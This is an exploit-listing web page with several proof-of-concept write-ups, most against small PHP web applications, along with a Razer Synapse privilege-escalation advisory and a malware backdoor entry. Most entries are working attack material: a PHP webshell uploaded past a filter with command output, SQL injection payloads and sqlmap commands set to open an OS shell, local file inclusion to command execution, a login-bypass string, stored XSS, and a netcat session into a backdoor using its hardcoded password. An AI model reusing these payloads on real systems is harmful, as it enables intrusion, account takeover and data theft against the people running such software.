Latest exploits :: CodePwn

<pre> <code># Title: Fingerprint Attendance 1.0 Account Takeover # Author: Hejap Zairy # Date: 29.07.2022 # Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/ # Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache Fingerprint Attendance is vulnerable to unauthenticated account takeover. An attacker can takeover any registered 'Staff' user account by just sending below POST request By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters #Steps to Reproduce 1. Send the below POST request by changing "id", "firstname", "lastname" , "username" , "password" ,"type" parameters. 2. Go to /fingerprint/src/ and Log in to the user account by changed username and password #vulnerability Code php ``` <?php echo "document.getElementById('fname').value = '".$qry["first_name"]."';"; echo "document.getElementById('lname').value = '".$qry["last_name"]."';"; echo "document.getElementById('NRIC').value = '".$qry["NRIC"]."';"; echo "document.getElementById('email').value = '".$qry["email"]."';"; echo "document.getElementById('contact').value = '".$qry["mobile"]."';"; echo "document.getElementById('contact2').value = '".$qry["mobile2"]."';"; echo "document.getElementById('line1').value = '".$qry["password"]."';"; echo "document.getElementById('line2').value = '".$qry["line1"]."';"; echo "document.getElementById('line3').value = '".$qry["line2"]."';"; echo "document.getElementById('city').value = '".$qry["city"]."';"; echo "document.getElementById('zip').value = '".$qry["zip"]."';"; echo "document.getElementById('country').value = '".$qry["country"]."';"; echo "document.getElementById('bankName').value = '".$qry["bankName"]."';"; echo "document.getElementById('bankDetail').value = '".$qry["bankDetail"]."';"; echo "document.getElementById('job').value = '".$qry["jobTitle"]."';"; ?> ``` # Description: Account takeover is one form of identity theft attack in which bad actors gain access to an account and make unauthorized transactions. Account takeover attacks can target any website that uses a login to guard valuable information [+] Payload POST ``` POST /fingerprint/src/register.php HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3324626841792192532944123116 Content-Length: 2446 Origin: http://0day.gov Connection: close Referer: http://0day.gov/fingerprint/src/register.php Cookie: PHPSESSID=64cp9kf4qmus9p55o63clicu2q Upgrade-Insecure-Requests: 1 -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="fname" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="lname" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="NRIC" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="emailaddress" [email protected] -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="contact" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="contact2" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="password" admin12345 -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line2" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line3" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="city" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="zip" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="country" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="bankName" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="bankDetail" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="job" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="button" Register -----------------------------3324626841792192532944123116-- ``` </code></pre>

<pre><code># Title: Fingerprint Attendance 1.0 Shell Upload # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/ # Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.jpg files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php Needs more filtering to upload NRIC files ``` <?php $namae = $_POST["NRIC"]; // this will be nric $target_dir = "photo/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION)); // Check if image file is a actual image or fake image if(isset($_POST["submit"])) { $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]); if($check !== false) { //echo "File is an image - " . $check["mime"] . "."; $uploadOk = 1; } else { // echo "File is not an image."; $uploadOk = 0; } } ``` [+] Payload POST ``` POST /fingerprint/src/register.php HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------3324626841792192532944123116 Content-Length: 2446 Origin: http://0day.gov Connection: close Referer: http://0day.gov/fingerprint/src/register.php Cookie: PHPSESSID=64cp9kf4qmus9p55o63clicu2q Upgrade-Insecure-Requests: 1 -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="fname" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="lname" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="NRIC" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="emailaddress" Admin@gmail.com -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="contact" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="contact2" admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line1" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line2" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="line3" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="city" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="zip" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="country" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="bankName" Admin -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="bankDetail" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="job" -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="fileToUpload"; filename="0day_hejap.png.php" Content-Type: image/jpg <?=`$_GET[515]`?> -----------------------------3324626841792192532944123116 Content-Disposition: form-data; name="button" Register -----------------------------3324626841792192532944123116-- ``` #Status: CRITICAL [+] Payload GET ``` GET /fingerprint/src/photo/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41 Upgrade-Insecure-Requests: 1 ``` #Response ``` HTTP/1.1 200 OK Date: Thu, 29 Mar 2022 11:15:56 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 12 Connection: close Content-Type: text/html; charset=UTF-8 Hejap Zairy ``` # Description: The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers. # Proof and Exploit: https://i.imgur.com/A3BlWTF.png </code></pre>

<pre><code># Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/ # Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache # Steps # 1.- Go to : https://0day.gov/fingerprint/login.php # 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login # 3 - SQLi To RCE r00t # 4 - Ubload webshell # 5 - Web Shell to meterpreter full tty shell #vulnerability Code php --- ``` $user = $_POST['username']; $pass = sha1($_POST['password']); $passwrong = false; if(isSet($_POST["button"])) switch($_POST["button"]){ case "Login" : $passwrong = login($con, $user, $pass); //echo "Login"; break; } // ----------------- Inside if(isSet($_POST["button"]))---------------- ``` --- #Status: CRITICAL [+] Payload GET --- POST /fingerprint/src/ HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 61 Origin: http://0day.gov Connection: close Referer: http://0day.gov/fingerprint/src/ Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg Upgrade-Insecure-Requests: 1 username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login --- ``` --- Parameter: username (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login --- ``` #Blind SQLi Time to Rce #ُExploit sqlmap -r 0day_Hejap.txt -p username ' --hex --dbms=mysql --technique=b --random-agent --eta -D ad_39 -T login --dump --os-shell --priv-esc --forms --eta # Description: The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc # Proof and Exploit: https://i.imgur.com/uYBA1C3.png https://i.imgur.com/nQFdjNu.png </code></pre>

<pre><code># Title: Sports Complex Booking System 1.0 LFI To RCE # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php Needs more filtering require_once php``` ---- <?php $page = isset($_GET['p']) ? $_GET['p'] : 'home'; ?> <?php require_once('inc/topBarNav.php') ?> <?php if($_settings->chk_flashdata('success')): ?> <script> alert_toast("<?php echo $_settings->flashdata('success') ?>",'success') </script> ---- ``` [+] Payload GET ``` GET /scbs/?p=../../../0day&515=%64%69%72%20%43%3a%5c HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg Upgrade-Insecure-Requests: 1 ``` #Status: CRITICAL #Response ``` HTTP/1.1 200 OK Date: Sun, 28 Mar 2022 08:05:28 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 17 Connection: close Content-Type: text/html; charset=UTF-8` </script> Volume in drive C is OS Volume Serial Number is 2EF1-9DCA Directory of C:\ 03/26/2022 08:51 PM <DIR> 0day 03/26/2022 02:12 PM 19 0day.php 03/17/2022 06:06 AM 12,288 DumpStack.log 03/24/2022 07:14 PM <DIR> Intel 10/31/2021 12:47 AM <DIR> MinGW 10/31/2021 12:58 AM <DIR> mingw32 05/12/2018 08:20 PM <DIR> mingw64 10/31/2021 12:47 AM <DIR> msys64 01/02/2022 09:28 AM <DIR> pen 06/05/2021 03:10 PM <DIR> PerfLogs 03/18/2022 10:27 AM <DIR> Program Files 03/21/2022 01:45 PM <DIR> Program Files (x86) 03/02/2022 11:04 PM <DIR> Python27 01/30/2022 02:34 PM 474 t.txt 03/26/2022 08:33 PM <DIR> Temp 03/26/2022 08:45 PM <DIR> Users ``` # Description: Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce # Proof and Exploit: https://i.imgur.com/tUWZM0X.png https://i.imgur.com/vrPCGTp.png https://i.imgur.com/sMyZder.png </code></pre>

<pre><code>Advisory ID: SYSS-2021-058 Product: Razer Synapse Manufacturer: Razer Inc. Affected Version(s): Versions prior to 3.7.0228.022817 Tested Version(s): 3.6.0920.091710, 3.6.1010.101113, 3.6.1018.101823, 3.6.1130.111217, 3.6.1201.111814, 3.7.0131.011810 Vulnerability Type: Improper Privilege Management (CWE-269) Risk Level: Critical Solution Status: Fixed Manufacturer Notification: 2021-10-18 Solution Date: 2022-03-07 Public Disclosure: 2022-03-23 CVE Reference: CVE-2021-44226 Authors of Advisory: Dr. Oliver Schwarz, SySS GmbH Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Razer Synapse is an additional driver software for Razer gaming devices. The manufacturer describes the product as a "unified cloud-based hardware configuration tool" (see [1]). Due to an unsafe installation path and improper privilege management, the associated system service "Razer Synapse Service" is vulnerable to DLL hijacking. As a result, local Windows users can abuse the Razer driver installer to obtain administrative privileges on Windows. In order to exploit the vulnerability, the attacker needs physical access to the machine and needs to prepare the attack before Razer Synapse is installed along with a Razer driver. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The attack scenario considers a Windows machine without any previous installation of any Razer device or software. The attacker has a local unprivileged Windows account, physical access to the machine, and a device which is either a Razer peripheral or able to pretend to be one (such as a Bash Bunny or a Raspberry Pi Zero). The attacker aims at executing code with full system privileges. The attack exploits the Razer Synapse Service which runs with elevated privileges. While the main binary of the service is stored in the protected location "C:\Program Files (x86)\Razer\Synapse3\Service", it dynamically loads libraries from "C:\ProgramData\Razer\Synapse3\Service\bin". Before the installation, standard users can write to this path, since "C:\ProgramData" is world-writable on a standard installation of Windows. The Synapse installation procedure changes access privileges, so that standard users cannot write to the path any longer. In addition, it removes any previous files in that location. Furthermore, upon service start, the location is checked for DLLs that do not originate from Razer. However, if the path is created before the driver installation, the creator remains owner of the object and can still change directory and file permissions. In particular, the creator can deny access for the SYSTEM user and grant access for the attacker's user. The attack consists of three phases: 1. Before the installation of the driver/Synapse, the attacker creates "C:\ProgramData\Razer\Synapse3\Service" and denies write-access for SYSTEM. 2. Afterwards, the attacker triggers the installation of Synapse. This can be done without any elevated privileges by plugging in a Razer device and following the installation procedure for Synapse, if device-specific co-installers are not disabled. Alternatively, a device such as Bash Bunny or a Raspberry Pi Zero can be used and pretend to be a Razer device. 3. After the installation of Synapse has finished, the attacker grants full access to "C:\ProgramData\Razer\Synapse3" for both the SYSTEM user and the own low-privileged user account. Afterwards, the attacker places a prepared set of DLLs into "C:\ProgramData\Razer\Synapse3\Service\bin" and restarts the Razer Synapse Service, typically, by restarting the machine. SySS GmbH chose the following set of DLLs for a proof of concept: * RzLightingEngine.dll from the original installation * RSy3_LightingEffects.dll from the original installation * userenv_orig.dll, a copy from the standard Windows DLL at "C:\Windows\SysWOW64\userenv.dll" * userenv.dll, a malicious 32-bit DLL that creates a new admin user and redirects to userenv_orig.dll otherwise The attack has been successfully tested for the following versions of Razer Synapse: * 3.6.0920.091710 * 3.6.1010.101113 * 3.6.1018.101823 * 3.6.1130.111217 * 3.6.1201.111814 A modified version of the exploit has been successfully tested against version 3.7.0131.011810. The attack has been successfully tested on the following versions of Windows: * Windows 10 Enterprise 20H2 19042.1237 * Windows 10 Pro 20H2 19042.1237 * Windows 10 Pro 21H1 19043.1237 * Windows 10 Pro 21H1 19043.1266 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Razer has published a patched version that will be deployed automatically upon driver installation on current Windows builds. To prevent similar attacks through other co-installers, system administrators can disable them by setting the following key in the Windows registry: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Device Installer\DisableCoInstallers = 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2021-10-07: Vulnerability discovered 2021-10-11: Initial contact to Razer support 2021-10-18: Vulnerability reported to manufacturer 2022-01-18: First direct contact with developer team 2022-02-03: First fix attempt (3.7.0131.011810) announced to SySS GmbH 2022-03-07: Final fix (3.7.0228.022817) announced to SySS GmbH 2022-03-23: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Razer Synapse 3 https://www2.razer.com/eu-en/synapse-3 [2] SySS Security Advisory SYSS-2021-058 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-058.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] SySS Proof of Concept Video https://www.youtube.com/watch?v=P75BtYcnZ-A ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Dr. Oliver Schwarz of SySS GmbH. E-Mail: oliver.schwarz@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Oliver_Schwarz.asc Key ID: 0x9716294F1294280D Key Fingerprint: D452 B014 E992 2886 E799 6B43 9716 294F 1294 280D ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en </code></pre>

<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/b24c56abb4bde960c2d51d4e509d2c68_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Cafeini.b Vulnerability: Weak Hardcoded Credentials Family: Cafeini Type: PE32 MD5: b24c56abb4bde960c2d51d4e509d2c68 Vuln ID: MVID-2022-0526 Disclosure: 03/25/2022 Description: The malware listens on TCP port 51966. Authentication is required, however the password "speedfire" is weak and hardcoded in the PE file. Commands: REGISTRYTOOLS or RT <ON/OFF> - access to REGEDIT.EXE REGISTRYTOOLS lub RT <ON/OFF> - dostep do programu REGEDIT.EXE TELNET <NAME> [PORT] - telnet to remote computer NAME on port PORT (default 23) KILL <NAME> or <PID> - kills process NAME or PID (both from command PS) DIR or LS [PATH] - shows files in current directory DEL or ERASE or RM <PATH> - removes file PATH COPY or CP <PATH1> <PATH2> - copies file from PATH1 to PATH2 CMD or SYSTEM or SYS <CMND> - returns results of system command (by COMMAND.COM) TELNET <NAZWA> [PORT] - telnetuje na adres NAZWA na porcie PORT (domyslnie 23) KILL <NAZWA> lub <PID> - zabij proces o nazwie NAZWA lub PID (uzyskany przez PS) DIR lub LS [SCIEZKA] - wyswietla katalog DEL lub ERASE,RM <SCIEZKA>- skasowanie pliku SCIEZK COPY lub CP <SCIEZKA1> <SCIEZKA2> - kopiuje plik z SCIEZKA1 na SCIEZKA2 CMD lub SYS <KOMENDA> - wypisz wynik komendy systemowej (przez COMMAND.COM) SHUTDOWN - turn off computer OPEN <NAME> - opens file NAME with default program (eg. MP3 with WinAmp) SHUTDOWN - zresetuj (lub wylacz) komputer OPEN <NAZWA> - otwiera plik domyslnie ustawionym programem np. MP3 WinAmpem Exploit/PoC: C:\>nc64.exe x.x.x.x 51966 CAFEiNi 1.1 Enter your password: speedfire [32mC:\Users\Victim\Desktop>[37mexec c:\windows\system32\calc.exe exec c:\windows\system32\calc.exe STATUS: program runned [32mC:\Users\Victim\Desktop>[37m [32mC:\Users\Victim\Desktop>[37mcd \Windows [32mC:\Windows>[37mSHUTDOWN SHUTDOWN STATUS: I'm going to shutdown computer Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code># Title: Covid-19 Directory on Vaccination System 1.0 Blind boolean SQLi To Rce # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/covid-19-vaccination_0.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache # Steps # 1.- Go to : http://0day.gov//covid-19/hospital.php?cmdcategory=1 # 2 - manual inject Blind SQli https://0day.gov/covid-19/hospital.php?cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hejap%'='hejap # 3 - SQLi To RCE r00t # 4 - Ubload webshell # 5 - Web Shell to meterpreter full tty shell #vulnerability Code php --- ```php $category = $_GET['cmdcategory']; // $conn = new mysqli ($servername, $username, $password, $dbname) or die("Connection to Database Failed"); $stmt = $conn->stmt_init(); $sql = "SELECT vaccination_center FROM hospital WHERE category_id = (select id_no from category where category like '$category%')"; $stmt->prepare($sql); $stmt->execute(); $result = $stmt->get_result(); while($resultRow = $result->fetch_array(MYSQLI_NUM)) echo "<option>$resultRow[0]</option>"; $result->close(); $stmt->close(); ``` --- #Status: CRITICAL [+] Payload GET --- GET /covid-19/hospital.php?cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hejap%'='hejap HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=av2qn4bthu78hm972lul6vmniv User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Te: trailers Connection: close --- ``` --- Parameter: cmdcategory (GET) Type: boolean-based blind Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET) Payload: cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hJWj%'='hJWj --- ``` #Blind SQLi Time to Rce #ُExploit sqlmap -u http://0day.gov/covid-19/hospital.php?cmdcategory=1" -p cmdcategory ' --hex --time-sec=10 --dbms=mysql --technique=b --random-agent --eta -D covid19 -T admin --dump --os-shell --priv-esc # Description: The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc # Proof and Exploit: https://i.imgur.com/xeWSc7B.png https://i.imgur.com/XiVBeYa.png ---------------------------------- # Title: Covid-19 Directory on Vaccination System 1.0 - SQLi Authentication Bypass # Author: Hejap Zairy # Date: 28.07.2022 # Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/covid-19-vaccination_0.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache # Steps # 1.- Go to : https://0day.gov/covid-19/admin/login.php # 2 - SQLi Authentication Bypass [admin'or 1=1 or ''='] #vulnerability Code php --- ```php if(isset($_POST['btnlogin'])) { $username = $_POST['txtusername']; $password = $_POST['txtpassword']; $status = 'Active'; $sql = "SELECT * FROM admin WHERE username='" .$username. "' and password = '".$password."' and status = '".$status."' "; ``` --- #Status: CRITICAL [+] Payload POST --- POST /covid-19/admin/login.php HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 72 Origin: http://0day.gov Connection: close Referer: http://0day.gov/covid-19/admin/login.php Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg Upgrade-Insecure-Requests: 1 txtusername=admin%27or+1%3D1+or+%27%27%3D%27&txtpassword=hejap&btnlogin= --- #Blind SQLi Time to Rce #ُExploit # Description: The SQLi vulnerability We can use this information to construct an injection attack to bypass authentication. # Proof and Exploit: https://i.imgur.com/oDj69Hw.png https://i.imgur.com/JO4SLxa.png https://i.imgur.com/kYgU7xl.png </code></pre>

<pre><code># Exploit Title: Royale Event Management System 1.0 - Cross-site Scripting Stored (unauthenticated) # Date: 17/03/2022 # Exploit Author: Mr Empy # Software Link: https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html # Version: 1.0 # Tested on: Linux Title: ================ Royale Event Management System 1.0 - Cross-site Scripting Stored (unauthenticated) Summary: ================ One Church Management System is affected by Cross-site Scripting vulnerability due to poor hygiene in certain parameters. The attacker could leverage this flaw to inject arbitrary javascript code to manipulate the victim's browser capabilities. Severity Level: ================ 6.5 (Medium) CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N Affected Product: ================ Royale Event Management System v1.0 Steps to Reproduce: ================ * companyprofile.php XSS (unauthenticated) PoC: POST /royal_event/companyprofile.php HTTP/1.1 Host: target.com Content-Length: 187 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://target.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://target.com/royal_event/churchprofile.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close companyname="><script>alert("XSS")</script>&regno="><script>alert("XSS")</script>&companyaddress="><script>alert("XSS")</script>&companyemail="><script>alert("XSS")</script>&country=India&mobilenumber=%2B919423979339&submit= </code></pre>